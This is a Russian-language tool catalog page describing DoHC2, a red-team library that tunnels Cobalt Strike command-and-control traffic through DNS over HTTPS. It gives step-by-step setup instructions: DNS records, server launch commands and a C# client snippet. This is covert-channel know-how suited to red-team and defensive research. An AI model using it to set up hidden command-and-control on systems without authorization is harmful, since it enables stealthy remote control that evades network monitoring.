Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
DoHC2 — DoHC2 позволяет использовать библиотеку ExternalC2 от Райана Хэнсона (https://github.com/ryhanson/ExternalC2) для управления и контроля (C2) через DNS поверх HTTPS (DoH). | Kitploit
Инструменты/GitHubGitHub/spiderlabs/dohc2
Фреймворки для пентестаФреймворки для эксплойтовКомандование и УправлениеRed TeamingРазработка Полезной НагрузкиАнализ DNSArchived
GitHubspiderlabs/dohc2

DoHC2

DoHC2 позволяет использовать библиотеку ExternalC2 от Райана Хэнсона (https://github.com/ryhanson/ExternalC2) для управления и контроля (C2) через DNS поверх HTTPS (DoH).

Репозиторий
449936 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

⚠️ ПРИМЕЧАНИЕ: Этот инструмент больше не поддерживается активно.

DoHC2

DoHC2 позволяет использовать библиотеку ExternalC2 от Райана Хэнсона (https://github.com/ryhanson/ExternalC2) для управления и контроля (C2) через DNS поверх HTTPS (DoH). Инструмент создан для популярного программного обеспечения для симуляции противника и Red Team-операций Cobalt Strike (https://www.cobaltstrike.com).

Презентация

Проект был выпущен 23 октября 2018 года на Mitre ATT&CKcon.

Слайды: Playing Devil’s Advocate to Security Initiatives with ATT&CK

Статья в блоге: DOH! DNS Over HTTPS Poses Possible Risks to Enterprises

Диаграмма

Screenshot

Использование

  1. Установите и запустите teamserver Cobaltstrike.
  2. Запустите listener beacon_http/beacon_https — Важно: он может быть отрезан брандмауэром, но он нужен для работы External C2.
  3. Загрузите скрипт 'external_c2.cna', чтобы запустить ExternalC2 на порту 2222 (брандмауэр отключён).
  4. Установите зависимости для python3-сервера.
  5. Откройте порт 53/udp в Интернет (или до IP-диапазонов DoH-провайдера).
  6. Создайте A-запись на вашем домене, указывающую на IP teamserver/DNS-сервера, т.е. [A] entry.example.org -> 000.000.000.000
  7. Создайте NS-запись, указывающую на A-запись для канала отправки (INPUTDOMAIN), т.е. [NS] send.example.org -> entry.example.org.
  8. Создайте NS-запись, указывающую на A-запись для канала получения (OUTPUTDOMAIN), т.е. [NS] receive.example.org -> entry.example.org.
  9. Измените INPUTDOMAIN и OUTPUTDOMAIN в DoHC2.py. Измените ключ шифрования/IV — он используется для шифрования пути от Teamserver к клиенту (шифрует только Stager). Измените max_records с 1 в зависимости от DoH-провайдера: некоторые провайдеры меняют порядок возвращаемых записей, что пока не обрабатывается. Максимум 5 хорошо работает с DNS-сервером.
  10. Запустите python3 DNS-сервер.
  11. Соберите библиотеку ExternalC2. Измените ключ шифрования/IV в DoHChannel.cs, чтобы он совпадал с python3-сервером.
  12. Настройте и запустите DoHC2(), как показано ниже, обязательно указав INPUTDOMAIN, OUTPUTDOMAIN и DoH-провайдера в формате 'https://resolver.example.org/dns-query'.

Сервер

Python DNS-сервер на основе ACME DNS Server

  • Он связывает сырой DNS с Cobalt Strike Teamserver на 127.0.0.1:2222 по умолчанию.
  • Измените INPUTDOMAIN и OUTPUTDOMAIN на хосты, которые являются NS для внешнего IP сервера:
root@kitploit:~
	pip3 install -r requirements.txt
	sudo python3 ./DoHC2.py

Библиотека

ExternalC2 от @ryhanson со следующими дополнениями:

  • Channels> DoHChannel.cs — реализация DoH
  • Channels > Base32.cs (из https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f)
  • DoHC2.cs — настройка/обёртка DoH-канала
  • В проект добавлен Newtonsoft.JSON (https://www.newtonsoft.com/json)

Пример клиента

  • Как и остальная часть ExternalC2, DoHC2 является COMVisible для JScript/DotNetToJS, но это простой пример для его запуска.
  • Пример клиента DoHC2Runner — это простая C#-программа для демонстрации загрузки библиотеки и её настройки следующим образом:
root@kitploit:~
	DoHC2 doh = new DoHC2();
	doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
	doh.Go();

Авторы

  • David Middlehurst — Twitter- @dtmsecurity

Лицензия

DoHC2

Некоторые элементы созданы David Middlehurst, SpiderLabs, как описано выше (пожалуйста, обратитесь к соответствующим лицензиям, где используются другие проекты с открытым исходным кодом).

Copyright (C) 2018 Trustwave Holdings, Inc.

Эта программа является свободным программным обеспечением: вы можете распространять и/или изменять её в соответствии с условиями Стандартной общественной лицензии GNU, опубликованной Фондом свободного программного обеспечения, либо версии 3 Лицензии, либо (по вашему выбору) любой более поздней версии.

Эта программа распространяется в надежде, что она будет полезна, но БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ; без даже подразумеваемой гарантии КОММЕРЧЕСКОЙ ЦЕННОСТИ или ПРИГОДНОСТИ ДЛЯ КОНКРЕТНОЙ ЦЕЛИ. Подробнее см. в Стандартной общественной лицензии GNU.

Благодарности

  • ExternalC2
  • Спецификация ExternalC2
  • ACME DNS Server - (Python-сервер)
  • Python Shared File C2 - (Python-сервер)
  • Python External_C2_Framework - (Python-сервер)
  • DNSExfiltrator - Python-сервер

Участники

  • xinhaojing — проблема сервера #1
Скачать инструмент